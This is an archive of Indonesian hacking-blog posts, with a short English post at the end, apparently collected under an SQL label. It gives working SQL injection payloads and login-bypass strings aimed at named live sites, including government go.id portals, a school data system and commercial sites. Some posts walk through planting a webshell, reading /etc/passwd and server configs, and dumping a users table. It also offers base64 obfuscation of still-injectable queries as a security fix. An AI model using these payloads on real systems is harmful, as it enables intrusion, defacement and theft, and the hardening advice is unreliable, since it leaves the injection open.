Showing posts with label SQL. Show all posts
Showing posts with label SQL. Show all posts


 -

Hai Sobat

Saya ikal,

Disini saya akan sharing sesuatu nih.

-


Kali ini kita akan kembali membahas mengenai vulnerability lagi nih. Kali ini kita akan bahas vulnerability di WebApp "go.id" kembali :D.


Jadi awalnya ada temen saya ***ck_X12 yang minta saya iseng - iseng di CMS ini https://jdih.acehbaratdayakab.go.id/, Ga tau nama CMS nya apa, sekilas mirip ama AcehCMS jika dilihat dari admin loginnya :D. yaudah iseng - iseng aja dah buat ide artikel kan :D.


Tampilan


Singkat cerita i found this. pas saya cek cek, ternyata lumayan banyak yang pakai ini WebApp, kira - kira ada 15++ lebih yang pakai :D. yah sung aje gua publish ye kan. Okeh kita udahan aja basa basinya, Kita masuk lagi kepembahasan.


Description :

- Vulnerable Parameter :

https://localhost/dih/jsondata?status_dok=[value][SQL Injection]

https://localhost/[path]/dih/jsondata?status_dok=[value][SQL Injection]

- Admin Login :

https://localhost/secure/login

https://localhost/[path]/secure/login

- SQLmap Command :


$sqlmap.py -u "https://localhost/dih/jsondata?status_dok=*" --dbs


Yah, Karena saya dari awal hanya ingin iseng - iseng untuk ide konten, jadi yah segini aja artikelnya :D. Bagi yang mau lanjutkan ampe jadi Hacked By Hacked By an silakan. Dan juga jika ada salah kata atau salah penulisan biarkan saja.


Reference : 

https://www.draxploit.web.id/2020/08/penjelasan-penginstallan-dan-cara-pakai.html


Thanks

See U


 -

Hai sobat

saya ikal,

Disini saya akan sharing lagi nih.

-

 

 Disini kita bahas vulnerability di WebApp dengan nama CTS (Case Tracking System). Yah sejenis SIPP (Sistem Informasi Penelusuran Perkara), Cuma yang CTS ini versi lawas dari SIPP.


Okeh kita langsung masuk saja kepembahasan,

- Admin Login : 

https://localhost/login/login.php 

https://localhost/[path]/login/login.php

- Vulnerable File : 

https://localhost/jadwal_sidang_list/jadwal_sidang_list.php?varlist_alur_perkara_id=[value][SQL INJECTION]

https://localhost/[path]/jadwal_sidang_list/jadwal_sidang_list.php?varlist_alur_perkara_id=[value][SQL INJECTION]

 

Tampilan Error

Example : 

http://cts2.pn-pangkalanbun.go.id/jadwal_sidang_list/jadwal_sidang_list.php?varlist_alur_perkara_id=2 ) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


Ya itu saja yang ingin saya publish kali ini, WebApp CTS ini sendiri adalah versi lawas dari SIPP yang sekarang. Yah tentu saja sudah pada update lah ya:D. Hanya beberapa saja yang masih memakainya, Itupun menurut saya sudah tidak terurus :D.


Reference : 

https://www.draxploit.web.id/2020/09/sql-injection-errror-based-injection_2.html

 

Thanks

See U

 


-

Hai sobat

Saya ikal,

Disini saya akan share sesuatu nih.

-


Kali ini kita akan membahas sebuah vulnerability di sebuah WebApp semacam CMS dengan nama ILDIS (Indonesian Legal Documentation dan Information System). Jenis Vulnerability nya adalah SQL Injection,dan Information Disclosure.


Dan perlu dibaca untuk yang satu ini, WebApp ILDIS Ini sudah dipakai di 100 lebih website pemerintahan negara indonesia :D. Vulnerabilitynya sendiri saya temukan kemarin, sejak saya menemukan WebApp ILDIS v2,dan saya memutuskan untuk mencari tau apa itu ILDIS :D.


Apa itu ILDIS?

https://jabar.kemenkumham.go.id/berita-kanwil/berita-utama/aplikasi-standar-jdih-ildis-percepat-integrasi-basis-data-dokumen-hukum-nasional


Okeh disini saya hanya memberi Dork,dan letak Vulnerabilitynya saja. Jika kalian ingin mengeksekusi lebih jauh, silakan saja :D.


Bahan : 

- Dork : "ILDIS" site:go.id

               inurl:?jenis_peraturan= site:go.id

               inurl:/index.php/web/result?

- Vulnerable parameter : skip=[value][SQL Query]

- Admin Login : 

https://localhost/index.php/login

https://localhost/[path]/index.php/login


Example : 

https://jdih.bkn.go.id/ildis/www/index.php/web/result?&skip=2410'

https://jdih.kemlu.go.id/ildis/www/index.php/web/result?&skip=10'

https://jdih.balitbangham.go.id/ildis/www/index.php/web/result?&skip=1'

https://jdih.kemsos.go.id/pencarian/www/index.php/web/result?&skip=1'


Sebenarnya masih banyak lagi website nya :D, kalian cari sendiri saja menggunakan dork diatas yah.


Thanks

See U


Hai sobat.

Saya ikal,

Disini saya akan share sesuatu nih.

-


Kemarin saya iseng iseng mencari celah diwebapp yang bernama aplikasi rapor digital selang beberapa jam, saya tidak menemukan celah yang begitu berdampak atau celah yang sangat fatal. Saya pun mencoba berniat menyecan subdomain dari domain utama website tersebut, alhasil saya mencoba 3 sampai 4 subdomain. Namun tidak ada yang berdampak sangat fatal. saya berniat untuk menanamkan backdoor dan melihat isi dari webapp tersebut untuk lebih leluasa melihat source code yang ada dari webapp tersebut. 


Ntah bagaimana, saya menemukan satu subdomain dengan WebApp bernama Sidasi (Sistem Data Siswa), dengan celah yaitu bypass admin, oh tentu itu sangat fatal :D jika sudah dapat masuk kecontrol panel.


Langsung saja yah. 

Penjelasan mengenai WebApp SIDASI 

http://repository.amikom.ac.id/files/Publikasi_11.22.1328.pdf


"Bang upload shell nya gimana bang?"

"Bang bisa upload shell ga bang?"

"Bang bisa tebas index ga bang?"


Let's try.

Bahan :

Google dork : 

site:sidasi.* inurl:sch.id

site:sidasi.* inurl:.id

Webshell : 

https://anonfiles.com/tc78D4M8o0/My_Project_zip

Payload : 

Username : '=' 'or'

Password  : '=' 'or'

Username : ' or 1=1 limit 1 -- -+

Password  : ' or 1=1 limit 1 -- -+

Admin login       : /?page=admin


1. Dorking

dorking menggunakan dork diatas. Disini anggap saja saya sudah mempunya live target yah. Live target http://sidasi.madrasahku.site/


Tampilan


2. Exploit

Karena disini saya sudah mempunya live target, jadi selanjutnya kita akan masukan exploit menuju admin loginnya yah.

http://sidasi.madrasahku.site/?page=admin


Tampilan


3. Eksekusi

Tahap 1,dan 2 sudah selesai. Selanjutnya kita lanjut ketahap eksekusi untuk menanamkan shell backdoor :D. Isi username dan password dengan payload diatas.

Username : '=' 'or'

Password  : '=' 'or'

Username : ' or 1=1 limit 1 -- -+

Password  : ' or 1=1 limit 1 -- -+


Tampilan

Klik LOGIN dan kalian akan diarahkan ke halaman control panel (dashboard admin) atau apalah itu.


tampilan

Lalu kita klik Setting User 


Tampilan


Klik Tambah dan isi semua column yang ada. Bagian Foto user kalian upload dengan shell backdoor kalian.


Tampilan

Jika semua sudah diisi. Dan bagian Foto user telah terisi dengan shell backdoor kalian, dan klik Simpan dan shell backdoor pun akan terupload kedalam server.


Untuk cara aksesnya begini.

https://localhost/assets/gambar/user/Your_shell_name.php

Contoh

http://sidasi.madrasahku.site/assets/gambar/user/b0y.php


Tampilan

Nah,mungkin segini aja untuk artikel kali ini. Bila ada yang kurang atau salah kata biarkan saja.


Thanks

See u


www.draxploit.web.id

-

Hai sobat.

Saya ikal,

Disini saya akan membahas sesuatu menarik nih.

-


Sesuai judul kita kali ini, kita akan membahas sebuah metode yang berbeda dari metode injection SQL lainnya yaitu error based metode.


Duplicate entry '*****' for key 'group_key'


Nah, itu sedikit ciri tampilan SQL Injection error based. Dan mungkin artikel ini lumayan bermanfaat untuk menambah skill injector mu untuk menyelesaikan setiap stage di sql-labs atau ditempat tempat lain.


Let's try!

Disini saya sudah mempunyai live target. Yaitu daikin.com.hk dan seperti biasa kita harus mendapatkan inject point terlebih dahulu.


- Menentukan Inject Point

Untuk cara mendapatkan/menentukan inject point, ada dua cara, yaitu dengan mendorking, atau mencoba mengakses setiap page yang muncul diindex. Anggap saja saya sudah mendapatkan Inject Point nya dan kita lanjut ketahap kedua.


- Menentukan vuln/tidak

Jika sudah mendapatkan Inject Pointnya, kita perlu mentriger error SQL untuk mengetahuinya bahwa itu error disebabkan vuln/tidak. Ada beberapa cara mentrigger SQL ini, diantaranya single quote ('),double quote ("),titik koma (;),dan lainnya. 


https://www.daikin.com.hk/product.php?categoryId=1'



Jika target sudah dapat dipastikan vuln terhadap injeksi SQL, kita lanjut ketahap selanjutnya.


- Menentukan balancing

Jika target sudah error. Sekarang kita kembalikan seperti semula menggunakan beberapa balancing. Beberapa balancing yang saya tahu adalah comment (-- -),(#),dan lainnya. Jika kita sudah berhasil menetralkan atau menghilangkan error yang ada, Kita lanjut lagi ketahap berikutnya.


https://www.daikin.com.hk/product.php?categoryId=1' -- - -> error

https://www.daikin.com.hk/product.php?categoryId=1' # -> error

https://www.daikin.com.hk/product.php?categoryId=1' ;%00 -> error 

https://www.daikin.com.hk/product.php?categoryId=1 -- - -> normal


- Mengetahui nama database

Karena ini error based, jadi agak sedikit berbeda dengan injeksi SQL lainnya. Disini kita perlu mengetahui nama database lalu mengingatnya untuk melanjutkan ketahap berikutnya.


Payload untuk mengetahui nama database


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Salin dan taruh dibagian sebelum balancing. Seperti ini


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


Result

Diatas sana kita mendapatkan kata ini.

Duplicate entry '~'daikin-www'~1' for key 'group_key'

Lalu nama database dari target kita yang mana?, yang terdapat ditengah. Penjelasan mengenai Payload diatas kalian bisa kunjungi @littelade . okeh sekarang kita lanjut untuk mempersulit hidup :D.


- Mengetahui satu/satu table name

Sebelum kalian mengakses untuk mengetahui satu persatu nama tabel yang ada, sebaiknya kalian cek seberapa banyak tabel yang terdapat pada server target tersebut.


Payload untuk mengetahui berapa banyak tabel yang ada.


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(table_name),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Sebelum kalian taruh keurl target, kalian harus menyalin nama database lalu encode menjadi HEX,dan taruh dibagian yang saya BOLD diatas. Jika sudah, salin semua payload beserta DATABASE yang sudah diencode tadi dan hapus payload sebelumnya lalu ganti dengan payload yang diatas.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(table_name),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


Result

Diatas sana kita mendapatkan.

Duplicate entry '~'58'~1' for key 'group_key'

Jumlah tabel ditarget saya ada 58 :D. Disini kita akan mencoba mengetahui setiap nama dari tabel tersebut. Disini saya mencoba menargetkan tabel users yah.


Payload 


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Ganti bagian yang saya bold dengan nama database target kalian yang sudah diencode menjadi HEX. 


Disini kita hanya perlu memainkan limit yang ada. Misal limit 0,1 limit 1,1 limit 2,1 dan seterusnya.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

area

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

banner

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

bannerImage

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

course

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 49,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

users


itu saya skip, dikarenakan kalau dilanjutkan dari 0 sampai 49 akan terlalu banyak memakan baris kata :D. Tabel yang dituju sudah tau, sekarang kita akan membuka isi dalam tabel tersebut alias kita akan mencoba melihat nama nama column yang ada di tabel tersebut.


- Mengetahui satu/satu column name dari tabel yang dituju.

Sebelum melihat nama column dari tabel users, sebaiknya kita cek dulu jumlah column yang ada di tabel users.


Payload untuk mengetahui jumlah column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(column_name),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Ganti bagian yang saya bold dengan nama tabel yang sudah diencode menjadi HEX.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(column_name),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -



 Dan yang kita dapat diatas adalah

Duplicate entry '~'6'~1' for key 'group_key'

Jumlah column pada tabel users ada 6. Huft Tidak seperti tadi yang berjumlah 50+ :D. Mari mempersulit hidup lagi.


Disini saya hanya ingin mengetahui isi dari column uid, dari tabel users.


Payload untuk mengetahui nama column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

Ubah bagian yang di bold dengan nama tabel yang sudah diencode menjadi HEX. Lalu salin dan hapus payload sebelumnya dan tempelkan payload diatas.


Seperti saat bagian mengetahui nama tabel, disini kita akan memainkan limit juga :D.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

uid

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

username

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

email

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

password


dan kita mendapatkan column uid. Sekarang kita tinggal melihat isi dari column uid.


- Mengetahui isi column

Karena kita sudah mengetahui nama columnnya, sekarang mari kita lihat isi dari column tersebut.


Payload untuk melihat isi column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(NAMA_COLUMN as char),0x27,0x7e)) from NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Bagian NAMA_COLUMN yang ingin dibuka isinya, dan bagian NAMA_TABEL ganti dengan nama tabel dari column yang ingin dibuka.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(uid as char),0x27,0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -



Dan kita mendapatkan

Duplicate entry '~'1'~1' for key 'group_key'

 Mainkan limit untuk melihat isi dari column yang lainnya, seperti limit 0,1 limit 0,2 limit 0,3 . 


Nah mungkin segini aja artikel kali ini. Bila ada yang kurang atau salah kata biarkan saja.


Thanks.

See u


www.draxploit.web.id

-

Hai sobat.

Saya ikal,

Disini saya akan share sesuatu

-


Jadi kali ini kita akan membahas sebuah WebApp yang menarik nih. WebApp ini mirip dengan DVWA dan XVWA namun WebApp yang satu ini hanya menyediakan labs untuk para Injector :D.


"Bang ini mantep ga bang?" Mantul dah ini buat kalian asah atau mempelajari tentang SQLi . Kalian akan disuguhkan dengan beberapa stage, mulai dari stage 1 - stage 65, dan tentunya setiap stage sensasinya berbeda. Karena kalian akan dipertemukan dengan Error Based,Time Based,Blind,Time Blind,Boolean Blind,Cookie Injector,dan method Injection lainnya.


Bagaimana? Menarik bukan :D. Tidak hanya itu, SQLi-Labs juga menyediakan GET, atau POST method, hingga ke Injection Dump Into outfile :D.


Pokoknya menarik deh, apalagi dengan adanya stage 1 - stage 65. Mungkin setelah kalian bermain SQLi-Labs kalian akan menjadi Injector terkenal seperti Sultan Haikal xixixi, becanda >,<.


Langsung saja kita akan unboxing :D.

Mulai dari tampilan utama dan tampilan dari beberapa stage


Index page

Stage 1

Stage 2

Stage 3


Gambar diatas adalah tampilan dari beberapa page.

Sekarang kita lanjut ke future.


- Error Based Injections (Union Select)

     i. tring

     ii. Intiger

- Error Based Injections (Double Injection Based)

- BLIND Injections 

     i. Boolian Based 

     ii. Time Based

- Update Query Injection.

- Insert Query Injections.

- Header Injections. 

     i. Referer based. 

     ii. UserAgent based. 

     iii. Cookie based.

- Second Order Injections

- Bypassing WAF

     i. Bypassing Blacklist filters Stripping comments Stripping OR & AND Stripping SPACES and COMMENTS Stripping UNION & SELECT

     ii. Impidence mismatch

     iii. Bypass addslashes()

     iiii. Bypassing mysql_real_escape_string. (under special conditions)

- Stacked SQL injections.

- Secondary channel extraction


Itu beberapa feature yang disediakan oleh platform. Sekarang mari kita membahas cara pasang WebApp ini keserver kalian. Namun perlu diingat!!! 

Warning : Do not Upload in your private server web


Karena beberapa stage memerlukan hak lebih untuk melakukan into outfile, dan itu sangat berbahaya jika dimanfaatkan oleh orang lain selain kamu.


Penjelasan penginstallan dan link download ada dibawah ini

https://github.com/Audi-1/sqli-labs


Dan untuk mencoba diweb orang silakan menuju link dibawah ini

http://lab.awh.exdemy.com/chapter1/sqli_lab/index.html

Note : Kalian tidak bisa melakukan into outfile diweb berikut, dikarenakan web tersebut telah berkali-kali terdeface dan mungkin admin web merasa kesal akibat ulah mereka :D.


nah mungkin segini aja untuk artikel hari ini, makasih udah read :D.


BTW jika kalian kesusahan menyelesaikan setiap stage dari SQLi-Labs nya, kalian bisa chat saya via WhatsApp.

+6287737657630


Thanks

See u

 

-

Hai sobat.

Saya ikal,

Disini saya akan share sebuah trik nih

-


Sesuai judul kali ini kita akan membahas sebuah trik untuk sedikit memperketat sebuah keamanan website berbasis PHP dan MySQL. 


Trik ini hanya perlu mengencode bagian parameter atau bahkan variable yang sering digunakan para Injector untuk melakukan exploitasi, dan mungkin kalian butuh trik yang saya buat ini :D. Langsung saja.


1. Akses lebih

yang pertama kalian harus mempunyai akses lebih kedalam website, agar kalian bisa melakukan edit,rename,delete  dan lainnya kepada sebuah file yang ada, mungkin melalui cpanel,or backdoor kalian bisa melakukan trik ini.


2. Mengedit script

nah jika kalian sudah mendapatkan akses lebih kedalam server, kalian hanya perlu mengedit isi file yang merupakan yang terdapar parameter dan variable yang ada.

Default : 


<?php

          $id = $_GET['id'];

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>


Script tersebut masih normal dan belum diubah atau masih default.

Sekarang mari kita coba edit agar nilai yang dihasilkan berupa encoding.


Edit seperti ini : 


<?php

          $id = base64_decode($_GET['id']);

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>


Maka inputan yang keluar adalah seperti ini : 

$id = base64 -> nilai dari $id


Bagaimana kalau kita tambah menjadi dua atau tiga kali :D.


<?php

          $id = base64_decode(base64_decode(base64_decode($_GET['id'])));

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>

 

Maka hasil inputan seperti ini : 

$id = base64 -> base64 -> base64 -> nilai dari $id


Xixixi Injector akan merasa malas menginject websitemu, bila encodean sampai dua kali atau lebih :D.


Belum puas melihat injector tersiksa? Coba cara ini. Script diatas hanya mengencode nilai yang ada dari $id bagaimana kalau $id kita lakukan encode juga :D. Let's try.


 <?php

          $key = sha1('id');

          $id = $_GET[$key];

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>

Atau 

 <?php

          $key = base64_encode('id');

          $id = $_GET[$key];

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>


Maka hasil yang masuk seperti ini

sha1 -> $id = nilai dari $id  

atau 

base64 -> $id = nilai dari $id


bagaimana jika kita persulit lagi :D.


<?php

          $key = sha1('id');

          $id = base64_decode(base64_decode($_GET[$key]));

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>

Atau 

 <?php

          $key = base64_encode('id');

          $id = base64_decode(base64_decode($_GET[$key]));

  $sql = "SELECT * FROM enuo_content WHERE id='$id'";

  $res = $db->query($sql);

  $row = $db->getarray($res);

   ?>

 

Maka hasilnya seperti ini

sha1 -> $id = base64 -> base64 -> nilai dari $id

Atau 

base64 -> $id = base64 -> base64 -> nilai dari $id


"bang kok sha1 ama base64 doang?" bisa kok yang lainnya, tinggal ganti-ganti aja.


Nah segini aja artikel kali ini

Thanks

See u

 

-

Hai sobat.

Saya ikal,

Disini saya akan share cara menemukan doc_root lagi

-


Yaps. Setelah artikel pertama yang membahas tentang cara menemukan document_root untuk melakukan into outfile.


artikel sebelumnya : 

http://www.draxploit.web.id/2020/07/finding-documentroot-menggunakan-teknik.html


Sekarang saya kembali membahas cara menemukan document_root kembali namun dengan cara yang unik dan simple.


Langsung saja masuk ketahap pembahasan.

Saya asumsikan saya dan kalian sudah punya target yang memiliki hak akses lebih kedalam database, dan kalian bingung mencari dan menemukan document_root dari server target kalian. 


Kalian lakukan load_file namun tidak menemukan hasil apapun :D. Mari lakukan ini.


Hapus seluruh url sql injection kalian hingga menyisahkan ?id=[angkanumeric]


Kalian hanya perlu menambahkan [] sebelum

Contoh : 

https://localhost/?id=10

Ubah menjadi seperti ini : 

https://localhost/?id[]=10


Dan jika parameter ada 2 atau lebih. Terapkan trik itu disetiap parameter yang ada.


Dan server akan membaca kalau itu sebuah array atau apalah gw ga ngerti :D. Dan karena parameter tidak sesuai dengan yang aslinya. Server akan menampilkan error beserta path dan file errornya.



Nah seperti itu.

note : ini sebuah trik sangat ampuh dan direkomendasikan untuk website bertype windows.


Segini saja. Thanks.

See u.

 

-
Hai Sobat
Saya ikal,
Disini saya akan share sesuatu nih.
-

Sesuai judul, pasti kalian sudah mengenal CMS yang terkenal untuk dipakai sebagai cms² web sekolah. Apalagi saat sekarang ini, saat masa pandemi banyak sekolah yang mencoba build website untuk murid² tercintanya :D.

Langsung saja.
Bahan : 
- Tools online : 
- Dork : 
"2014" + "Balitbang" inurl:/html/
"2011" + "Balitbang" inurl:/html/
- Exploit : 
https://localhost/member/listmemberall.php
- Shell backdoor bisa kalian download dmn saja.
- adlog : https://localhost/admin/
- Live Target : 


1. Pengecekan.
Cek vulnerability nya dengan memasukan exploit yang saya kasih diatas ketarget kalian. Lalu jika blank kemungkinan vuln.


2. pengeksploitasian
Seperti nama bug nya yaitu SQL Injection. Jadi kita melakukan injeksi SQL untuk mendapatkan hak admin. Salin target beserta exploitnya, lalu buka tools online yang pertama,tempel yang kalian salin kedalam form yang ada.


Klik start Inject dan hasil yang keluar seperti ini


Jika memang vuln, akan muncul username dan password dari table user website target kalian. Namun password masih dalam bentuk encrypt :D mari kita crack. 

Salin salah satu password yang muncul dan Buka tools online kedua, lalu tempelkan yang kalian salin di form yang ada.



Fiola. Password yang asli sudah muncul. Dan yang kita dapatkan berarti adalah :
U : admin
P : albayyan68

Dan silakan login

Regardz : Youe - XploitSecID
Thanks
See u

-
Hai sobat.
Saya ikal
Disini saya akan share sesuatu.
-

Kalian pasti pernah mendapat website yang vuln terhadap SQL injection, dan saat di cek user dan user privilage nya kalian mendapatkan kata Y yang berarti bisa berlanjut melakukan INTO OUTFILE ke dalam server. Namun kalian bingung untuk menemukan path untuk spawn shell kalian, kalian pun menggunakan teknik load file dan membaca /etc/passwd yang ada didalam server. Dan saat file /etc/passwd muncul, kalian masih bingung yang mana document_root dari website target kalian.

Okeh langsung saja
Pertama kalian harus punya target, lalu inject dan cek user dan user privilage dari target kalian.

Lalu lakukan load_file('/etc/passwd') 

load_file('/etc/passwd'),4+from+mysql.user--+-

dan jika muncul, maka akan muncul kira-kira seperti ini.

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin systemd-bus-proxy:x:999:997:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:998:996:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:997:995:User for polkitd:/:/sbin/nologin colord:x:996:993:User for colord:/var/lib/colord:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin unbound:x:995:992:Unbound DNS resolver:/etc/unbound:/sbin/nologin

Nah kira-kira akan muncul seperti itu yah.
Lalu kalian bingung yang mana document_root dari server target kalian, coba trik ini

load_file('/etc/httpd/conf/httpd.conf'),4+from+mysql.user--+-

Nah, cukup ganti passwd menjadi httpd/conf/httpd.conf

Dan jika berhasil akan muncul seperti ini

 # # This is the main Apache HTTP server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.4/> for detailed information. # In particular, see # <URL:http://httpd.apache.org/docs/2.4/mod/directives.html> # for a discussion of each configuration directive. # # Do NOT simply read the instructions in here without understanding # what they do. They're here only as hints or reminders. If you are unsure # consult the online docs. You have been warned. # # Configuration and logfile names: If the filenames you specify for many # of the server's control files begin with "/" (or "drive:/" for Win32), the # server will use that explicit path. If the filenames do *not* begin # with "/", the value of ServerRoot is prepended -- so 'log/access_log' # with ServerRoot set to '/www' will be interpreted by the # server as '/www/log/access_log', where as '/log/access_log' will be # interpreted as '/log/access_log'. # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # Do not add a slash at the end of the directory path. If you point # ServerRoot at a non-local disk, be sure to specify a local disk on the # Mutex directive, if file-based mutexes are used. If you wish to share the # same ServerRoot for multiple httpd daemons, you will need to change at # least PidFile. # ServerRoot "/etc/httpd" # # Listen: Allows you to bind Apache to specific IP addresses and/or # ports, instead of the default. See also the

Nah akan muncul seperti itu, aslinya panjang sekali :'v, cuma saya salin segitu saja.

Dan jika ingin menemukan document_rootnya, kalian tinggal klik titik 3 di bagian pojok kanan atas lalu klik search in tab lalu ketik DOCUMENTROOT Dan fiola tinggal kalian salin yang kalian dapat (document rootnya), lalu lakukan into outfile.


Yaps mungkin segini aja
Thanks
See u
Hello to all my friends, again im Mr.GonzX



Today i will make an article about How to Bypass 418 unused


Target : https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS

First I check if this website is vulnerable to SQLi, I put ( ' ) in parameter and i got error and my query like this

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'


Means the website is vulnerable to SQLi : )

Second is fixing the error

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'--+-


Error fixed, so we will use string based

This time is we will use ORDER BY to see how many columns

So i got 7 columns and my query like this

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'ORDER+BY+7--+-

Now we use UNION SELECT to see the vulnerable column and my query like this

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'AND+0+UNION+SELECT+1,2,3,4,5,6,7--+-


So the vulnerable columns is ( 2,1, and 4 )

Lets try to print nick and my query like this

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'AND+0+UNION+SELECT+1,concat(0x496e6a6563746564206279204d722e476f6e7a58),3,4,5,6,7--+-



But i got error ( unused )

The problem is the 0x, the 0x is blocked, to bypass this we can use single quote and my query like this

https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'AND+0+UNION+SELECT+1,concat('Injected by Mr.GonzX'),3,4,5,6,7--+-



And yes I bypassed the ( unused ) error :)

Lets DIOS, make sure no 0x in your DIOS and my query like this

